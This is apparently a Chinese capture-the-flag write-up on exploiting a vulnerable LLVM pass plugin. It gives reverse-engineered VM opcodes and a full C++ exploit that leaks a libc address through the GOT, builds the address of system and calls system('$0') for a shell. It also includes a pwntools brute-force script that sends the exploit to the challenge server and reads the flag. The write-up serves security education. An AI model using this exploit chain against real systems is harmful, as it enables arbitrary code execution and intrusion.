LLVM PASS PWN:使用c++编写exp
字数 1744 2025-08-23 18:31:25
LLVM PASS PWN 利用技术详解
前言
LLVM PASS PWN 是一种利用 LLVM 优化过程中加载的恶意 PASS 模块进行漏洞利用的技术。本文将通过一个实际案例(源鲁杯 Round3 的困难题"show_me_the_code")详细讲解如何使用 C++ 编写 EXP 来利用这类漏洞。
基础知识
LLVM 简介
LLVM 是一个模块化的编译器框架,主要优势在于:
- 使用统一的中间表示(IR)避免了为不同平台重新设计编译器
- 前后端分离,支持多种前端语言和目标平台
IR 的三种表现形式
.ll:可读的文本格式 IR(类似汇编).bc:不可读的二进制格式 IR- 内存中的 IR 表示
LLVM 工具链
llvm-as:将文本 IR 汇编为二进制格式llvm-dis:将二进制 IR 反汇编为文本格式opt:优化 LLVM IRllc:将 LLVM IR 编译为汇编代码lli:解释执行 LLVM IR
环境配置
sudo apt install clang-12 clang-8 llvm-12 llvm-8
程序编译
# 编译为 .ll
clang-12 -emit-llvm -S exp.c -o exp.ll
# 编译为 .bc
clang-12 -emit-llvm -c exp.c -o exp.bc
PASS 运行方式
opt-12 -load ./xxx.so -标识符 ./exp.ll
其中"标识符"与动态库中注册的 PASS 相关联。
C++ 函数名修饰规则
C++ 编译时会进行名称修饰(Name Mangling),规则如下:
_Z:修饰名称的开始N:表示函数或静态成员函数- 数字:函数名长度
- 类名和函数名:经过编码
E:参数列表开始- 参数类型:用特定字母表示
常见参数类型编码:
i:intj:unsigned intl:longx:long longm:unsigned longc:charh:unsigned charb:bool
示例:_ZN4edoc4addiEhii 表示:
edoc类中的addi函数- 参数类型:unsigned char、int、int
解题流程
1. 确定标识符
在动态库的初始化函数(如_cxx_global_var_init_17)中查找StringRef函数的参数:
llvm::StringRef::StringRef((llvm::StringRef *)&v3, "Co00o0oOd3");
确定运行方式:
./opt-12 -load ./codeVM.so -Co00o0oOd3 ./exp.ll
2. 导入动态链接库
sudo cp codeVM.so /lib
3. 确定程序入口
在.data.rel.ro段查找虚表,最后一项通常是程序入口函数:
.data.rel.ro:0000000000030D90 dq offset _ZN12_GLOBAL__N_110c0oo0o0Ode13runOnFunctionERN4llvm8FunctionE
4. 动态调试
使用 GDB 调试:
gdb opt-12
set args -load ./xxx.so -xxx ./exp.ll
在 main 函数下断点,运行至所有llvm::initialize前缀的初始化函数结束,使用vmmap获取基址。
5. 确定函数名
在llvm::operator==处下断点,观察比较的函数名:
_Z10c0deVmMainv # 入口函数
_ZN4edoc4addiEhii # edoc类的addi函数
6. 编写交互脚本
根据逆向结果编写类和方法声明:
class edoc {
public:
void addi(unsigned char x, int y, int z) {}
void chgr(unsigned char x, int y) {}
void sftr(unsigned char x, bool y, unsigned char z) {}
void borr(unsigned char x, unsigned char y, unsigned char z) {}
void movr(unsigned char x, unsigned char y) {}
void save(unsigned char x, unsigned int y) {}
void load(unsigned char x, unsigned int y) {}
void runc(unsigned char x, unsigned int y) {}
};
edoc obj;
int c0deVmMain() {
return 0;
}
逆向分析结果
操作码功能
addi:regs[x] = y + z(x ≤ 5)chgr:regs[x] += y(x ≤ 5, -0x1000 < y < 0x1000, 一次性)sftr:y == 1:regs[x] << zy == 0:regs[x] >> z(x ≤ 5, y < 0x40)
borr:regs[x] = regs[y] | regs[z](x,y,z ≤ 5)movr:regs[x] = regs[y](x,y < 8)save:*(y+regs[6]) = regs[x](x ≤ 5, y ≤ 0x1000, y & 7 == 0, regs[6] & 0xFFF = 0)load:regs[x] = *(y+regs[6])(同上)runc:*(y+regs[6])(regs[x])(同上)
利用思路
- 使用
load获取 libc 地址(从 opt-12 的 GOT 表) - 通过位移和或运算构造 system 地址
- 使用
save存储$0字符串 - 使用
runc调用 system('$0')
EXP 代码
int c0deVmMain() {
obj.addi(0, 0x442000, 0);
obj.movr(6, 0);
obj.addi(1, 0x443000, 0);
obj.movr(7, 1); // regs[7] = regs[6] + 0x1000
obj.load(2, 0xad8); // regs[2] = getenv_addr
obj.sftr(2, 0, 16); // 右移16位
obj.sftr(2, 1, 12); // 左移12位
obj.addi(5, 0x400, 0);
obj.borr(2, 2, 5);
obj.chgr(2, 0xc00); // 加0xc00
obj.sftr(2, 1, 4); // 左移4位
obj.addi(4, 0xd70, 0);
obj.borr(2, 2, 4); // 设置末位
obj.addi(4, 0x3024, 0);
obj.save(4, 0x1000); // 保存'$0'
obj.save(2, 0xb00); // 保存system地址
obj.runc(1, 0xb00); // 调用system('$0')
return 0;
}
爆破脚本
from pwn import *
import base64
context(arch='amd64', os='linux', log_level='debug')
with open("exp.ll", "rb") as file:
p = base64.b64encode(file.read())
p += b'\nEOF\n'
rnd = 0
while True:
try:
r = remote('challenge.yuanloo.com', 43319)
rnd += 1
print(f'the {rnd} round')
r.recvuntil(b'(EOF to stop):\n')
r.send(p)
r.sendline('cat flag')
for i in range(4):
s = r.recvline()
if b'YLCTF' in s:
print(s)
break
else:
continue
except EOFError:
r.close()
continue
总结
本文详细介绍了 LLVM PASS PWN 的利用技术,包括环境配置、逆向分析、利用思路和 EXP 编写。关键点包括:
- 通过动态调试确定关键函数名
- 理解 C++ 名称修饰规则
- 利用 LLVM PASS 的操作码构造任意代码执行
- 通过位移和运算绕过 ASLR
- 编写可靠的爆破脚本提高利用成功率